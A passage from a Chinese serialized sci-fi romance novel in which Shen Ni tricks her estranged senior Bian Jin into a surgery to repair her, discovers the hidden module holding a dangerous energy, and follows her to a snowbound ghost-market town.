第五阙望着难得一见的星辰道:“有苹果酒吗?”
曾倾洛知道贺兰濯最喜欢的就是苹果酒,“有,给你点了。小师姐,窦女郎,你们喝什么?”
窦璇玑正在查看雪域的网费,这儿自治之后连网络都要单独收费,而且城内外的基站被毁得差不多了,网络状况更是不好,时常没信号。她一边翻着客栈老板送来的生活指南一边说:“你喝什么顺便给我来一杯。”
沈逆本来对酒没什么兴致,忽然想起在云中月酒肆,边烬随手端起的那杯酒。
好像是“白堕”。
据说这白堕酒入口香甜但度数高,容易醉,沈逆没喝过,此刻觉得此名此酒无比应景。
“倾洛,给我点一杯白堕。”
“好。”
窦璇玑问她:“你自己点了什么?”
曾倾洛:“我点了忘忧。”
窦璇玑提醒她:“那也是酒。”
曾倾洛眨眨眼,“对啊。”
窦璇玑:“我还以为你会点果汁呢。”
这一路上曾倾洛不是喝水就是喝果汁,长得又乖巧,窦璇玑一直以为她不会喝酒,生怕她喝错了。
曾倾洛其实会喝酒,时常在酒肆里探听情报,多少都会喝一些掩人耳目。只是作为探子,需要时常保持清醒,能不喝就尽量不喝。
今夜说不上什么滋味,看到小师姐终于找到了大师姐,大师姐真的还活着,曾倾洛万分开心。
只是这份真心实意的开心之中,多了一丝空荡荡的孤独感。
曾倾洛没去细想这份孤独感究竟从何而来,龙泉城的黑魔方已经被大师姐扫清了,绝对安全的环境里,今夜想饮酒,她就纵容自己喝一点。
曾倾洛问窦璇玑:“那要给你换成果汁吗?”
窦璇玑点点头,“帮我一杯橙汁谢谢。”
大家都喝酒,总有一个人得保持绝对的清醒,窦璇玑选择当那个绝对清醒的人。
之前无数个夜值她都是这样熬过来的,她习惯了在众人皆醉时撑起精神,防止突发状况。
沈逆见窦璇玑来回对比网费套餐的价格,眉头就没松开过,看得出来是嫌弃这儿网费太贵。
沈逆说:“你连我的号,我刚办了无.限.流量。”
窦璇玑的目光一下落在无.限.流量的价格上。
好家伙,这儿的无.限.流量按天计算,每天十两银子。
丽景门名存实亡之后窦璇玑就断了俸禄,外面欠着债,手里也没有积蓄,怎么花得精打细算,当然不舍得花在明着宰人的网费上。
沈逆这般慷慨,窦璇玑恭敬不如从命。
一连上网,飞鸽传信跟中了病毒般响个不停。
信件潮水般涌进来,沈逆、第五阙和曾倾洛都向她投来羡慕的眼神。
连路过的其他客人都好奇往她这儿张望。
窦璇玑:“……咳。”
沈逆调侃道:“咱们陛下可真是追得紧。”
窦璇玑没法否认。
轰炸她信箱的的确是李司。
满山满谷都是李司。
“叮叮”声吵到她都快耳鸣了,总算停了下来。
窦璇玑点开一封信,里面思念的情话看得她脸红。
一想到给她写这些肉麻情话的人是当今天子,奇异的错位感跟让她无所适从,耳朵红了大半截,猫到角落里偷偷看。
从传信的时间上来看,应该是李司忙碌间一有空就写一行字飞给她,零零碎碎的。
可能文字不需见面也不用言语直接对话,这种滞后的交流方式会让人情感的表达更外向。
李司说每日看奏疏眼睛都要看成蝌蚪了。
说她每天都会去看看房判的进度,对着那颗在重建的大脑说一点小搭档以前的事儿,希望能用回忆把脑子腌入味了。
说她猜测窦璇玑的尺寸,要去做婚服。
说昨晚梦到她了。
说想她……
没有说爱,但字字句句都溢满了爱。
窦璇玑单手撑着已经滚烫的耳朵。
字里行间勾勒出一个寂寞的李司,惹得窦璇玑心尖上漫过陌生的酸胀感,觉得自己离开长安城可真是欺负死李司了。
窦璇玑指尖悬停了半天,敲下一行字。
【我偶尔也会想到你。】
敲完之后看了一遍,居然能在矫情的同时还显得格外无情。
把字都删了,想了半天实在苦恼。
骂人她可以洋洋洒洒写上三页不重样。
说好听话可真是为难死她了。
最后窦璇玑实在没辙,让沈逆她们都过来,拍了张大合照飞回去。
此刻李司还在批奏疏,眼皮完全靠毅力撑着。
忽然收到窦璇玑的回信,原本烦闷的心被揪起,李司喜出望外向着妨碍她干活被发配到桌角的电子表伸手一抓,堆成山的奏疏骤然坍塌。
李司坐在乱七八糟的奏疏间展开了窦璇玑的信。
居然还有照片!
李司开心地长腿一展,双手往外抻,把电子信笺展满整个视野。
当她看清整张照片时,笑容慢慢凝固在脸上。
她最想看的那张脸模糊地躲在角落,还非常吝啬只露出一半。
而沈逆、第五阙和曾倾洛拍得格外清晰。
第五阙还在窦璇玑那半颗脑袋顶上伸出手,比了个“V”,给窦璇玑装上两只耳朵。
李司:……
行吧,就算只有半张脸,有总比没有强。
最重要的是,窦璇玑看上去好端端的,没受伤。
她们四人这喜气洋洋的模样不像去找人的,倒像去旅游的。
出去这么多天了,到底什么情况,人找到没有,怎么都不提,就发张照片。
拿窦璇玑没辙,半张模糊的脸也让她翻来覆去看了好半天。
看来窦璇玑终于能顺利上网,可以继续烦她了。
总能烦出一张正脸照!
……
店小二送食物酒水上楼,摆满一桌。
四人边吃边聊。
聊到贺兰濯和李极设计向知番这件事。
当时两人谋划的整个过程曾倾洛都在场,通过她的讲述,第五阙和沈逆一直以来的疑惑总算是解开了。
第五阙重重将手里十根肉串的签子砸在桌面上。
“我就说她怎么会为安王办事!原来是妹妹被抓,受了胁迫!真不要脸!”
骂完,第五阙对曾倾洛补了一句:“我骂的是向知番,不是你的安王殿下。”
曾倾洛:……
本想解释“不是我的安王”,想了想,要真解释了才是此地无银,便没说,只是笑着颔首道:
“我知道你的意思啦。”
心中认定贺兰濯情非得已,和真正确定她是被人胁迫,这两种情绪在第五阙心里还是非常不同的。
不知道贺兰濯和妹妹被迫分开了多少年,她那么冷淡自持的人,居然会因为梦到妹妹而情绪失控,姐妹俩的感情一定非常深。
在第五阙看不到的角落,拥抱的间隙,她深爱的人究竟承受了多少生命之重,时至今日她才算窥视到小小一隅。
第五阙只觉得悲酸心疼的情绪在心口里烧,一连喝了五杯苹果酒才勉强压下去一些。
曾倾洛劝她道:“莫在难过时喝醉,只会愁上加愁。”
沈逆被那白堕酒辣得像被小刀剌喉咙,只能慢慢嘬着,实在不明白怎么会有人喜欢喝这玩意。
她拍了拍第五阙道:“酒有什么好喝,你把你点的两百串肉串先吃完再说。”
第五阙是个听劝的人,沈逆说什么她做什么,沈逆让她吃串,她嘴角差点搓出火星子。
龙泉城这儿的肉串比长安城大一倍,羊肉只香不膻,烤得外酥里嫩,香得让人上头。
做不好小零嘴,但烤串是真没话说。
除了沈逆,剩下这三位都是战斗天赋者,食量个顶个吓人。
沈逆吃了十串就吃饱了,她们仨吃了一百九十串,第五阙还又加了各种烤鸡翅、烤面筋、烤韭菜、烤茄子、烤包子……
沈逆光是看她们吃饭都撑得心慌。
叮——
一直挂着的暗网传来一则私信。
沈逆双眸发亮,守株待兔一晚上,终于来了。
第五阙她们还在吃宵夜闲聊,沈逆兴冲冲地说先走了。
第五阙:“哪儿去?”
沈逆喜上眉梢,“睡觉!”
师姐这只小兔子终于被她待到了,自然得去快些就寝,养精蓄锐。
第五阙等人看着沈逆的背影,怎么看都不像是去睡觉的,分明是要去上房揭瓦。
次日。
边烬按照时间来到预约好的私人医所。
她在暗网上联系的机械师就与她约在此地。
左臂的关节和听力模块有些损坏,还有些零碎想看看能不能修复。
至于逆芯,她并不指望这些S级的机械师能修复,而且她也不想别人胡乱碰逆芯。
到了预约的诊室,开门的是一位中年女性机械师。
边烬看过她在暗网上的过往交易和案例,是个资历很深也很稳重的机械师。
黄不予倒也是S级机械师,只是边烬觉得她还是浮躁了些,而且半生不熟,做手术尴尬。
边烬先与对方签了保密协议,随后机械师带她到后面的准备室。
一进准备室,整洁干净,甚至还散发着淡淡的桂花香。
洁癖如她,在,陌生的地方嗅到喜欢的香味,放松了不少。
准备室之外。
中年机械师推开办公室的门,里面的年轻女人已经戴上了口罩。
“辛苦了。”
女子纤长妩媚的凤眼微弯。
“定金已经转给你了,剩下的一半我会在事成后给你。”
中年机械师看了一眼转账,眼珠子都瞪圆了。
她凝视着眼前的年轻女人,“你是不是,沈……”
此人自然是沈逆。
沈逆笑着比了个“嘘”的手势,扣好衣扣,出了门。
边烬穿上手术服,闭眼,躺到推车上等待着。
这是非常小的手术,通常情况下只有机械师本人和机械臂辅助完成。
机械师来了,没说话,直接把她推入手术室。
边烬喜欢爱干净又话少的人。
这位机械师就很合她的心意。
戴着口罩的沈逆将她推入手术室,垂眸看着眼前人。
昨晚。
暗网上一个刚刚注册的小号给沈逆发来私信,询问她的资历和手术费用以及时间。
发私信的人自然是边烬。
沈逆追踪了大半天,结合边烬现在所处的地理位置和网络足迹可以断定,这是边烬的小号。
第五阙她们在吃串时,沈逆就在翻边烬小号的浏览记录,推测出她可能要找机械师维修和治疗。
呵,放着亲老婆不用,倒是去外面找人干活。
沈逆心里堵堵的,但没关系,她早有准备。
先前沈逆伪造了几个本地机械师的账号,这种账号要多少她就能批量建多少,各个像模像样,各种天赋等级、性格、资历、价格……只有边烬想不到的没有沈逆编不出来的。
不怕边烬不选,就怕她挑花眼。
无论她选谁,最后选到的都是沈逆。
沈逆支付了一大笔银子,借用了本地的私人医所。
一切都在沈逆的掌握之中。
手术室的门合上,沈逆在为自己消毒的时候,目光时不时落在边烬的脸上。
想起上一个隆冬,还在长安靖安侯府时的那次维修。
咚、咚、咚……
注射麻醉剂的过程,沈逆心跳有些快。
边烬的眉心在疑惑中慢慢蹙起。
糟糕。
情意共振这倒霉玩意,在不该振的时候瞎振。
边烬睁开眼,看到站在她身侧的沈逆。
就算只露出一双眼睛,边烬也能立刻认出她。
对视间,万分尴尬。
既然这么尴尬了,就问声好吧。
沈逆:“真有缘,这么快又见面了。”
麻醉还未生效,边烬下了床就要去开门。
沈逆慢悠悠地戴手套说道:“我在门口装了感应装置,连着我身上的炸弹,手术结束前从屋内开门,我就会爆炸而亡。”
边烬:……
边烬回眸,“别闹小孩脾气。”
沈逆:“不信你试试。”
边烬手已经握在门把上,无奈地沉默半天,终究没开。
即便她知道是沈逆的小小阴谋,到底没冒这万分之一的险。
边烬凝视着沈逆,对她无可奈何。
“幼稚。”
“夫人说什么我就是什么。”
沈逆从容点头,应了下来。
“我幼稚,我天下第一幼稚。”
边烬:……
第148章
麻醉剂让边烬晕眩感越来越重,只能靠在手术台边。
沈逆环着她的腰,把她制在台面上。
修长的手指熟练地抽出皮扣。
边烬看着手腕被扣住,眼眸在不受控制地下坠,声音也变虚弱了:
“你想做什么……”
沈逆目光落在边烬呼吸间清晰的锁骨和白皙的脖子上,眼眸转得有些慢。
在意识彻底消失前,边烬担忧地挤出最后一句话:
“别胡来,取出来之后它只会失控,追悔莫……”
还没说完话,边烬就彻底失去了意识。
沈逆脑子里闪过李渃元记忆投影。
恐怖的魔盒开启之后,当真无人能将它再收回。
即便是绝顶的天赋者如李渃元,也只能把自己拖入痛苦的深渊,至死都无法摆脱。
沈逆也是自负的天才,恐怕这世上没有哪位天才是谦逊的。
但她比当年的李渃元多一条可选之路。
沈逆偶尔会有些幼稚的行为,那是在师姐面前若无其事的撒娇,不嫌丢人。
可在大是大非面前,她不会头脑一热。
消毒后,沈逆全面检查了边烬的身体状况。
自从黑魔方迭代之后,沈逆对于黑魔方的侦测一直属于失效状态。
昨夜她掰下乱体巨树的小小“树枝”,带回去研究。
即便这截乱体已经失去活性,相当于已经死亡,不过对于沈逆而言已经足够。
通过这截乱体,沈逆再次能侦测到黑魔方的能量场。
此刻,沈逆在边烬的身体里发现巨量的黑魔方能量反应。
比沈逆这辈子侦测过的都多。
沈逆眼皮不受控制地跳动。
这足以毁天灭地的能量,被边烬安静地镇压在身躯内。
薄薄的胸膛,困住了末日。
沈逆抬起头,将眼泪忍了回去。
摸摸边烬的脑袋,“好好休息一会儿吧……”
把事先安装好的机械臂拉过来,争分夺秒开始手术。
沈逆对边烬身体内部的构造一清二楚,而此刻,她发现了一个陌生的模块,藏在曾经记忆模块禁区里的一个无赖模块。
之所以说它无赖,因为它死死扒着边烬所有最重要的器官,与边烬生命相连。
要取出它,势必会危及边烬的安全。
沈逆眼色如刀。
记忆禁区里果然藏着吸收黑魔方的秘密武器。
终于和这神秘模块面对面,沈逆顺了一下模块的思路,气笑了。
它最重要的驱动居然来自逆芯。
沈逆心里“呵”了一声。
难怪当初边师姐那般慷慨,夜夜“奖励”她。
原来是为了用督促她快点完成逆芯来驱动无赖模块。
好气。
虽说当初她也很开心……
但是还是好气。
沈逆推断,之所以需要边烬来完成困住黑魔方本体,正是她独特的体质能够承受得住黑魔方本体的力量,不会像李渃元那样,只用精神力压制,身体却无法控制被拧得乱七八糟,不人不鬼。
眼下边烬还维持着自己的模样。身为双S级天赋者她的精神力也很强,可时间一长,也会被黑魔方本体彻底污染。一旦精神世界被毁,一切都无法挽回,恐怕无法像李渃元一样支撑三十多年。
而且……
沈逆的目光中,边烬身上无数大大小小的伤痕,触目惊心。
即便是师姐也一定很难熬,面上从来不显,但她一定撑到了极限。
否则以师姐的性子,不会在一个陌生的地方找一位陌生的机械师做手术。
她不在身边的日子,师姐所经历的、承受的,比她想的还要多。
从长安出发之前,沈逆就已经做过全面的规划。
料到黑魔方极难控制,想要彻底捕获它,普通的虚电容壳体恐怕无法承受。最重要的是得确定一个能够承载它的“容器”。
当时沈逆就想到了无脸女。
边烬吸走了黑魔方,必定是计算过自身的身体能够承受黑魔方。
既然无脸女是秦无商按照边烬炼出来的,便是天选的转移“容器”。
炼丹炉在手,当然要一试。
沈逆试着用炼丹炉修复无脸女。
不得不说,第五隽的炼丹炉真是个出乎意料的好东西。
构造思路天马行空,万分精密,操作却简单,难怪精神天赋者李渃元也能使用它不断修复小魔种。
第五隽的能力绝非只是个S级的机械师,她过世时年纪尚轻,若能活到现在,恐怕已经突破了天赋的天花板,升为双S级。即便天花板不好破,她的成就也足以媲美最顶尖的机械师了。
沈逆制定的第一计划是利用手术把黑魔方取出,直接安装到无脸女体内。
如今遇到这无赖模块,眼看着是取不出来了。
即便取出来,没有逆芯驱动无赖模块,依旧压制不住黑魔方。
这无赖的模块里还藏着强大的自毁程序。自毁程序的原理和虚电容壳体类似,但比虚电容壳体更为残暴,能在一瞬间围剿黑魔方,且以目前的科技来看,它已经是走在尖端的技术,恐怕只能使用一次。
沈逆彻底明白边烬在做什么了。
边烬要在各地寻找黑魔方,收集黑魔方,把所有的黑魔方全部困进无赖模块后,一次性集中消灭。
到那时,师姐不可能活。
无赖模块需要师姐的身体和逆芯,把黑魔方压制到摧毁前的最后一瞬,保证万无一失。
师姐踏上的是一条必死之路。
这么看来,说它是“无赖”都骂轻了。
沈逆气笑了。
不可能让师姐走上必死之路。
沈逆攥紧拳。
她会斩断这条路。
来之前,沈逆制定好了两个计划。
第一计划就是把黑魔方转移到无脸女体内。
眼下第一计划无法实施。
这么一来,此刻藏在幕帘之后的无脸女也不用出来了。
既然第一计划失败,那就只能被迫启动第二计划。
她也不想实施第二计划。
毕竟第二计划得让黑魔方继续待在师姐的体内一段时日,师姐得受苦。
可是,眼下也没有别的选择。
第二计划首要任务是修复逆芯。
修好逆芯,能够更好地驱动无赖模块,稳定体内的黑魔方。
最重要的是,若逆芯不修好,等到第二计划最终实施的时候,逆芯护不住师姐,师姐只会和李渃元一样,一瞬间被黑魔方卷走所有生命力。
逆芯造出来就是为了给师姐保驾护航的,虽然被利用了,但沈逆会让它回归到最正确的用途上来。
……
流光敛尽,边烬从麻醉中苏醒。
沈逆已经换回了便服,正坐在她身侧,单手搭在她手边,目不瞬移地看着她。
“别让我知道和你合作的机械师是谁,不然我会杀了他。”
一开口就是这句话。
看上去很生气。
边烬本能地想握住她的手,指尖动了动,终究没动。
“你做了什么?”
“我说了,只有我能修好你。我自然是来修复你的。”
边烬轻笑道:“从小到大,你一伸手我就知道你想吃什么。”
“一撅屁股就知道你要放什么屁”的文雅说法。
她并不觉得沈逆把她套到陷阱里来,只是为了修复身体。
不过,感受了一下,黑魔方倒是还在,身体状况的确也稳定了许多。
关节和其他伤处都被修理、缝合好了。
缝合的伤口用的美容针,漂亮又熟练的手法。
边烬还在疑惑,沈逆居然没有趁机做些别的,唇便被柔软的触感覆盖。
边烬心里一惊,想到身体里有污秽的黑魔方,本能地侧开脸,躲开沈逆的吻。
“不是说知道我想吃什么?骗我,你没料到。”
沈逆很快又换成了委屈的语气。
“忙了这么久,眼睛都疼了。这个奖励不过分吧?”
边烬最听不得她的委屈。
“可是我……”
“我不在乎。”
沈逆追上去,继续吻。
沈逆知晓边烬要说什么。
永远洁净的师姐,将天底下最最污秽之物锁在体内,与之共存,恐怕对她而言是一件难以启齿之事。
或许在她看来,自己已然污浊不堪。
可是沈逆不在乎。
这个吻凶到不讲理,边烬还未真正清醒,防止脉冲震荡的皮扣也没解开,沈逆便闯入她的唇齿。
没想到沈逆会吻得这么深,许久没沾的热度怦然灼身,边烬喉咙不由自主地耸动。
沈逆贪恋之中带着闷闷的火气和浓烈的占有欲,一深再深,边烬眼睫沾湿,口仍不能闭。深吻缠到最后,引发轻微的咳嗽。
拇指指腹将她唇瓣上过多的晶亮抹去,无礼地揉弄她的唇。
边烬眼神里有恼意,更多的是被在她揉弄下难以言喻的迷离。
边烬正被她弄得意识模糊,感觉沈逆从她的脖子吻到右手,直接将她手套脱了,咬在指骨上。
好漂亮的手指。
这也是我的,这里也要留下痕迹。
右手实在不妙,忍过一波,以为沈逆弄够了便会离开,谁知她咬过指背,捏住指尖将她手翻转过来,往掌心里舐。
边烬胸口起伏了一下,到底将那羞耻的声音压了回去,抚住沈逆的脑袋,软着声音说了句“不行”。
听到这两个字,沈逆哪儿也不去了,就在她掌心里作祟。
边烬被她欺得腿难受地往上屈,心中恼她,又有种莫名想要反向占有她的心境,双重催化下,在她耳尖上咬了一口。
边烬这一口下去时,唇齿间是带着些气力的。
可真咬中了,沈逆半点没躲闪,一副任她欺负的姿态,眼眸里湿湿的,像只伏在她怀中的小鹿。
又不忍心了。
最后只是用牙磨了又磨,在沈逆耳廓上磨出一道红痕。
微痛感和酥麻同时从耳尖往沈逆心里闯,沈逆完全没反抗,就任边烬啃磨。
边烬虽然几次羞恼,并没有真的生气。沈逆往她怀里钻,再来撒着娇地吻她,边烬也一言不发,还是抱住了她,任她为所欲为。
无论嘴上说什么,最后都会无条件地宠着。
沈逆确信,自己已经再次变成师姐手心里的小宝贝。
沈逆贪恋和亲昵的肌肤之亲在告诉边烬——我不在乎什么黑魔方,不管危险无论脏污,我在乎的只有你。
沈逆握着边烬的手,贴在自己的脸庞上。
“你不知道我有多想你……”
漂亮的凤眼哭了多少回,又红又肿。
眼泪浸透了边烬的指尖,温热濡湿,流入她的掌心。
每一根曲折的掌纹,都沾着眷恋的泪水。
边烬的生命线始终被沈逆牵着。
用她的手,用她的泪,用她蛮不讲理的爱。
……
边烬对着镜子系腰带。
沈逆站到她身后,帮她系。
这个亲密的动作是双妻间独特的氛围。
边烬没拒绝,抬眸看见镜中的自己,松散的衣襟里有清晰的吻痕。
是沈逆非要留在那儿的,边烬没舍得推开她,只能任她胡作非为。
对齐衣襟,挡住红痕。
沈逆帮她系好了腰带,指尖贴在她腰侧说:“你要离开龙泉城了?”
边烬没回答,只沉默地绾发。
沈逆不满意她绾的发式,抽了发簪,重新为她绾了个更温柔的样式。
这也是沈逆占有欲的一种。
孩子气般想掌控她的一切。
边烬也没反对。
只是看到沈逆蹀躞带上勾着的一个挂饰,眉心没法不拧紧。
“为什么要将这种东西随身携带?”
沈逆知道边烬指的是她当挂件挂在腰间的“小树枝”。
昨晚从那棵黑色巨树上掰下来的小小乱体。
沈逆勾了勾已经死去的乱体,“它曾经是你的一部分,你不觉得它很可爱吗?”
边烬:……
疯言疯语,是她熟悉的阿摇。
边烬去开门,手握在门把上犹豫了一下。
沈逆知道她在顾虑什么,上前一脚把门顶开。
边烬:……
哪有什么炸弹,果然被算计了。
边烬出门时说:“回长安,别跟着。”
沈逆靠在门边道:“你去哪我就去哪。”
边烬走进云梯,没头没尾地说了一句:“帮我保管好它。”
沈逆皱眉。
保管好它?谁?
云梯的门合上时,沈逆终于在后腰上找到了一样本该在边烬腰间挂着的小物件。
人胜,她给边烬编的人胜。
装着定位器的人胜!
沈逆握着人胜,师姐什么时候发现里面有定位器的?还神不知鬼不觉地还回来了。
沈逆赌气地想,就这么想摆脱我么?做梦。
云梯内,边烬将沈逆方才掉落的两根青丝收入锦囊里,束紧,悬挂在腰上。
……
“什么?定位器没了,那不是要跟丢大师姐了?”
曾倾洛听到沈逆讲述今日和边烬“交锋”的过程,担忧道。
沈逆讲述的过程自然简化了一些“细节”。
“没关系。”沈逆点了一下电子表,一张电子地图投到两人面前。
地图上依旧有个红点在闪烁。
曾倾洛:“你还跟着大师姐?”
“对,我已经利用乱体升级了黑魔方探测器,还能以能量分级。如今这片大陆上最强大的黑魔方能量就在你大师姐体内。根本不需要定位器,我也能锁定她。”
曾倾洛开心之后又担忧道:“大师姐把黑魔方锁在体内,肯定不行的……”
“自然不行。我已有计划。”
以往话说到此处,沈逆肯定会跟她说计划是什么。
可当下,沈逆并未开口。
此刻她们正坐在客栈二楼。
沈逆若有所思的脸庞被晚霞映出了一层火色的外壳,一双眼眸似在燃烧。
陌生感夹着战栗悄然从曾倾洛的脊背爬上后脑,让她头皮一阵发麻,说不清的恐慌。
第149章
龙泉城的黑魔方被彻底消灭,边烬也要前往下一个目的地。
边烬离开龙泉城时,黄不予和属官、守卫全部站在城墙上目送她远去,拱手行礼久久不散。
边烬的两位侍从都习惯了。
她们的白御史每回都是这样,到某个地方初期并不受待见,都自称自己的地界没有黑魔方,来治理的白御史反而像个灾星。
等白御史雷霆手段收拾完病毒,又护住一个城,众人便会对她肃然起敬。
跟着边烬四处捕杀黑魔方,这是一件非常危险的差事。
黑魔方已经迭代出了人形异兽,极其难分辨。
一开始没人愿意自愿跟着边烬当副手。
边烬本身是孤僻的性子,没人跟着就算了,她独自行事可能还更利落些。
当初在她离开雪域节度使府之前,魏旷领来了一对小姐妹,说她们虽只是A级战斗天赋,但在战场上长大,经验比一些S级还要丰富,会是得力的助手。
边烬当任北境总都督那年,见过各式各样的人,看一眼这对姐妹,就知道魏旷为什么让她们来。
不止是因为经验丰富,更重要的是她们眼里有恨,对黑魔方的恨,不怕死的恨。
惜命的S级天赋者,的确比不上愿意豁出一条命的A级天赋者。
这对姐妹此生有一定要完成的事,让某个信念彻底圆满。
和她一样。
边烬没问半句话,便让这对姐妹跟着了。
姐姐叫云婵,妹妹叫云衣。
边烬看人很准,这对姐妹的确身手利落又聪明,几乎没有磨合期就能与她合作无间,省了很多麻烦。
即便这对姐妹除了睡觉的时候,时时刻刻都跟在边烬身边,前日也是第一次见到这位“白御史”的上半张脸。
冷是真冷,美也是真美。
城外没有网络,只能手动驾驶马车。
姐姐云婵单手拉着缰绳,驾驶着四匹机械马拉动马车,离开龙泉城。
坐在她身侧的妹妹云衣时不时往车厢里觑。
云婵目视前方提醒她:“别看了,白御史面罩修好了,脸又严严实实地遮起来了。”
“嘘,你小点声。”云衣恨不得上去堵她姐的嘴。
云婵冷着脸说:“心思别跑偏了,咱们不是出来游山玩水的。咱们的职责是保护白御史,别对她好奇。而且,让你观察周围,咱们被跟了一路你都没发现?”
云衣立刻看向马耳朵上的后视镜。
白雪皑皑间,虽肉眼不可见有任何车马,但雪地里留下的车辙却不假。
还是辆能隐身的车。
被姐姐一记冷眼瞪过来,云衣想起耶娘被异兽所杀的惨状,心里不由得紧了紧,恭顺地说:
“我错了。我去跟白御史通报一声。”
话音刚落,车厢里的边烬便道:“没事,不用管后车。”
沈逆跟着她出城,即便房车开启了隐身模式,边烬还是第一时间就察觉到了。
定位器塞了回去,沈逆还是能跟着她,看来沈逆已经掌握了其他定位方式。
或许是通过她体内的黑魔方。
沈逆也就随便一隐身,边烬能发现是最好的,她藏都懒得藏。
云衣暗暗回头看了一眼,沈逆就关闭了房车的隐身模式,明目张胆地跟着。
边烬:……
沈逆不仅直接跟着,还飞鸽传信给边烬。
边烬离开长安城后,沈逆给她的信从来没断过。
每一封信边烬都收着,没删除,但也从未展开看过。
此刻沈逆又飞来一信。
边烬指尖顿了顿,没忍住,打开看了。
什么文字也没有,就一个托腮笑的表情。
相当挑衅。
边烬戴着黑色手套的手支着脑袋,闭眼,又睁开,和这贼贼的表情对视。
叮——
坐在房车副驾上的沈逆震惊,居然收到了边烬的回信。
心里突突地乱跳,不知道师姐会回什么。
只要别是让她别跟着就行。
深呼吸,点开信。
【别跟着,不然我会把你绑回长安城。】
沈逆:……
怎么说呢,她对师姐的了解才算是出神入化吧。
叮——
边烬收到沈逆的回复。
点开看,刚才贼贼的托腮笑表情变成了一整排,对她笑得气势汹汹。
边烬:。
姐妹听到马车里的动静,暗暗对视。
白御史居然会用飞鸽传信,真是看不出来。还以为她那双手除了杀人根本不会打字。
看来后车是白御史的熟人了。
这熟度还有点儿微妙。
云衣年纪小,好奇心重,特别想知道白御史这般冷清到寡情的人,也会和谁有情感纠葛么?
可是凶巴巴的姐姐就坐在身边,一言一行都被监督着,云衣不敢再开小差,继续帮姐姐探路,外加注意周围的一举一动。
沈逆根本不怕她,在后面跟得肆无忌惮,心头跳跃的小得意也传到边烬的心中。
边烬深吸一口气,手自然而然地压在腰间的锦囊上。
沈逆肯定已经有了自己的谋划,边烬暂时看不透,也一点都不想她涉险。
可此时此刻,奔赴下一个未知之地的边烬,想到沈逆硬要跟在她身后,像条甩不掉的小尾巴,拿她没办法之余,无法否认心里多了一丝温暖的安全感。
浅浅的梦中,她回到了双极楼。
无论往何处走,身后那条小尾巴都穷追不舍。
小尾巴伸手要她牵,要她抱。
梦中她抱着她的小阿摇,赏花看雪,年复一年。
梦很短,醒来时天色向晚,她们抵达了名为石川的小镇。
石川小镇面积不大,但很有名。坐落于龙泉城和睦州必经之路上,坐拥着万里雪域最大的鬼市。
石川小镇昼时是个繁华的中转站,车马奔流,而每个月的初一和十五便是鬼市开张的日子。二十里磅礴长街彻夜灯火通明,全是来淘货的商人和买主,市面上找不到的、不方便找的物件都可以来此一淘,必有惊喜。更是暗网用户们线下接头的风水宝地。
夜里行路不安全,边烬一行人就在小镇住下。
来石川小镇之前,云婵提前订好了客栈。
但因为明日恰逢十五,鬼市开张,即便提前预定,客房依旧很紧张,只订到了两间房,一间套房一间双人房,还是加价抢来的,其他客栈全部爆满。
白御史是一定自己住一间房间的,她喜欢清静,套房给她住。
云婵和云衣则住进双人房里。
边烬入住的时候,见身后络绎不绝有人来投宿,老板实在为难,说本店已经住满了。
客人们懊丧道:“怎么到处都住满了?整个镇就没有可以住店的地方了么?”
边烬问云婵:“当真全部住满了?”
云婵便把鬼市的事儿跟她说了。
想要投宿的客人也抱怨道:“听说今夜会有大暴雪。”
同行人哀叹着:“真是要冻死人了!要不是为了鬼市,谁赶这个鬼时候特意来受罪!”
边烬目光瞟向窗外,天色已经完全黑了,到处都是车马和人声。
龙蛇难辨不说,雪的确越下越大。
沈逆她们紧随其后,天际擦黑,自然也落脚于此。
龙泉城的客栈订起来太容易,让她们完全没想到这样一个小镇所有的客栈居然能爆满。
沈逆在网上查一了圈,原本还有最后两间客栈,就在沈逆付款时没了,她眼睁睁地看着最后两间客栈被订走。
一开始她还不明白怎么回事。
什么风水宝地啊客栈这么紧俏?
曾倾洛也是刚刚在万维网上查到的,
“师姐,咱们正好赶上鬼市开张,别说是雪域,睦州和北境的人这几日都在这儿安营扎寨。”
沈逆:“……我说呢。”
第五阙不以为然,“咱们有个这么大的房车怕什么,订不到客栈就在房车里挤一挤呗。”
沈逆等人都用一言难尽的目光看着她。
你一个人就得霸占一整张床,剩下的三个人平分两张小沙发么?
第五阙:?
主要是这鬼天气还没有办法在户外搭帐篷,没有客栈投宿的话也不是不行,就是得在车里窝一夜。一整夜没睡好的话,第二天肯定得累。
沈逆继续刷网页的时候,窦璇玑道:“我就在驾驶座上打个盹就行,你们去睡吧。”
沈逆:“那多累人啊。”
窦璇玑:“以前我轮值夜班站着都能睡着,何况驾驶座的椅子也能放下来。行了别啰嗦了,去睡吧。”
窦璇玑抱了个枕头就要去驾驶位。
其实她今晚不打算睡。
这石川小镇没有任何对黑魔方的排查和人脸识别,谁都能进,城中也不似龙泉城有夜间巡查的护卫。
此地难怪能经营起鬼市,这儿就是雪域的三不管地带。
这一路来往车马络绎不绝,什么面相的人都有,她们若是找不到正经客栈投宿,只能在外面停泊,夜间会不会有危险也未可知。
窦璇玑打算熬一夜守着动静,明日补个觉就是。
沈逆正想在线上联系客栈老板,试试加价能不能订到房。
咚咚——
有人敲车门。
在车门边的曾倾洛警惕地拔出枪,慢慢推开门。
门外没人,只有一张客栈房卡。
曾倾洛疑惑地拿来房卡,众人不解,唯有沈逆露出会心一笑。
传信过来凶我的人,说要把我绑回长安城的人,巴巴来送房卡了。
沈逆开心道:“走,停车去!”
搜索了这间客栈的位置,把房车停到院子里的泊车位里。
这客栈挺大,有护院看护,比在街边随便找个地儿停着安全多了。
沈逆把房卡给让曾倾洛和窦璇玑,让她俩去住店去。
沈逆:“我留下和阿阙一决生死。”
第五阙:?
曾倾洛和窦璇玑都没接房卡。
她俩看沈逆嘴角都快翘上天了,自然明白有人在背地里宠着她。
除了边烬还能是谁?
窦璇玑道:“沈逆,你和倾洛住客栈吧,换我来和阿阙决一死战。”
第五阙:“喂!我是邪恶势力还是怎么地?”
窦璇玑原本还叫沈逆“侯君”,被沈逆嫌弃,“怎么还叫侯君怪生分的”,之后就直呼其名了。
沈逆心情好,就没再推托客气,拉着曾倾洛跟她一起去。
两人进了客栈,发现这客栈还是整个小镇最好的客栈。
客房在顶层,一间套房,卧室里有一张大床,客厅和露台都有柔软的沙发,浴房里还有好大一个浴桶。
这天气泡个热水澡再睡觉得多舒服。
沈逆对这客房的配置相当意外。
“把沙发搬进屋的话,妥妥能睡四个人。走,叫她俩一起来睡。”
曾倾洛:“我去叫。”
“行,那我去看看有什么吃的喝的,先来一份菜单垫垫肚子,饿死人了。”
兵分两路,沈逆去点单的路上目光在客栈里穿梭。
